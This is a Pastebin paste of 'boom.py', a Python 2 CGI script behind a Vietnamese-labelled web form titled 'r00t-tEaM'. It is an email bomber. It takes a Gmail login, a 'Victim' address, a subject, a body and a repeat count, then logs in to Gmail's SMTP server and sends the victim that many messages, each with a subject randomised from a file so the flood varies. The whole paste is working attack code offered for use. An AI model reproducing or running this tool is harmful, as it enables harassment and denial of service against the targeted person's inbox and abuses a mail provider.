Advertisement
parkdream1

boom.py

Jul 12th, 2013
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.94 KB | None | 0 0
  1. #!C:/Python27/python.exe
  2. # -*- coding: utf-8 -*-
  3. # import
  4. import cgitb; cgitb.enable()
  5. import cgi
  6. import smtplib
  7. import random
  8. from string import Template
  9. #HTML
  10. html = Template("""
  11. <html>
  12. <head>
  13.    <title>r00t-tEaM</title>
  14.    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  15.    <style>
  16.     body {
  17.         background-color: rgb(74,81,85);
  18.         color: #99CC00;
  19.         }
  20.     table {
  21.         font-family: Verdana, Tahoma;
  22.         font-size:22px;
  23.         }
  24.     input {
  25.         background-color:#FFCC00;
  26.         font-family:Tahoma;
  27.         font-size:8pt;
  28.     }
  29.     textarea {
  30.         border-radius: 5px 5px 5px 5px;
  31.     }
  32.     h1 {
  33.         color: #99CC00
  34.     }
  35.     h3 {
  36.         color: #FFCC00
  37.     }
  38.     h4 {
  39.         color: #99CC00
  40.     }
  41.     .submit-button {
  42.         background: #57A02C;
  43.         border:solid 1px #57A02C;
  44.         border-radius:5px;
  45.         -moz-border-radius: 5px;
  46.         -webkit-border-radius: 5px;
  47.         -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  48.         -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  49.         text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
  50.         border-bottom: 1px solid rgba(0,0,0,0.25);
  51.         position: relative;
  52.         color:#FFF;
  53.         display: inline-block;
  54.         cursor:pointer;
  55.         font-size:13px;
  56.         padding:3px 8px;
  57.         height: 30px;width: 120px;
  58.     }
  59.     .submit-button:hover {
  60.         background:#82D051;border:solid 1px #86CC50;
  61.         height: 30px;width: 120px; 
  62.     }
  63.    </style>
  64.    
  65. </head>
  66. <body>
  67. <div style="text-align: center;">
  68. <h1>Boom With STMP Google</h1>
  69. <h3>No Log You G-Mail</h3>
  70. <h4>Nếu xảy ra lỗi vui lòng đăng nhập G-Mail bằng trình duyệt rồi vào <a href="http://www.google.com/accounts/DisplayUnlockCaptcha" target="_blank">DisplayUnlockCaptcha</a></h4>
  71. <form action="?" method="POST">
  72. User: <input type="text" value="" size="70" name="user" /><br /><br />
  73. Pass: <input type="text" value="" size="70" name="password"/><br /><br />
  74. Victim: <input type="text" value="" size="70" name="victim"/><br /><br />
  75. Subject: <input type="text" value="" size="70" name="subject"/><br /><br />
  76. <center>Body: </center><br /><textarea name="body" cols="40" rows="8" ></textarea><br /><br />
  77. Số Lần: <input type="text" value="" size="10" name="solan"/><br /><br />
  78. Status: <input type="text" value="$status" size="30" name="status" /><br /><br />
  79. <input type="hidden" value="boom" size="50" name="command" />
  80. <input type="submit" class = "submit-button" value="Fuck">
  81. </form>
  82. </div>
  83. </body>
  84. </html>
  85. """)       
  86. def get_param(form, param,default=None):
  87.     if form.has_key(param):
  88.         return form.getvalue(param)
  89.     return default
  90.    
  91. def main():
  92.     print "Content-type: text/html"
  93.     print
  94.    
  95.     form = cgi.FieldStorage()
  96.     # get command
  97.     command = get_param(form,"command")
  98.     user = get_param(form,"user")
  99.     password = get_param(form,"password")
  100.     victim = get_param(form,"victim")
  101.     subject = get_param(form,"subject")
  102.     solan = get_param(form,"solan")
  103.     status = get_param(form,"status")
  104.     body = get_param(form,"body")
  105.     # status mặc định
  106.     status = "Vui Lòng Điền Đầy Đủ Thông Tin"
  107.     # get random from file
  108.     lst = []
  109.     filename = 'subject.txt'
  110.     with open(filename) as f:
  111.         for line in f:
  112.             line = line.replace("\n","")
  113.             lst.append(line)
  114.     # config stmp      
  115.     SMTP_SERVER = 'smtp.gmail.com'
  116.     SMTP_PORT = 587
  117.     #body
  118.     body = "" + str(body) + ""
  119.     if command == "boom":
  120.         try:
  121.             for i in range(0, int(solan)):
  122.                 # build random subject
  123.                 send_subject = str(subject) + " " + str(random.choice(lst))
  124.                 # build headers
  125.                 headers = ["From: " + str(user),
  126.                     "Subject: " + str(send_subject),
  127.                     "To: " + str(victim),
  128.                     "MIME-Version: 1.0",
  129.                     "Content-Type: text/html"]
  130.                 headers = "\r\n".join(headers) 
  131.                 # session
  132.                 session = smtplib.SMTP(SMTP_SERVER, SMTP_PORT)
  133.                 session.ehlo()
  134.                 session.starttls()
  135.                 session.ehlo
  136.                 session.login(user, password)
  137.                 session.sendmail(user, victim, headers + "\r\n\r\n" + body)
  138.                 session.quit()
  139.                 send_subject = ''
  140.             status = "Đã Song"
  141.         except:
  142.             status = "Đã xảy ra lỗi"
  143.     print html.substitute(status = status)
  144. if __name__ == '__main__':
  145.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement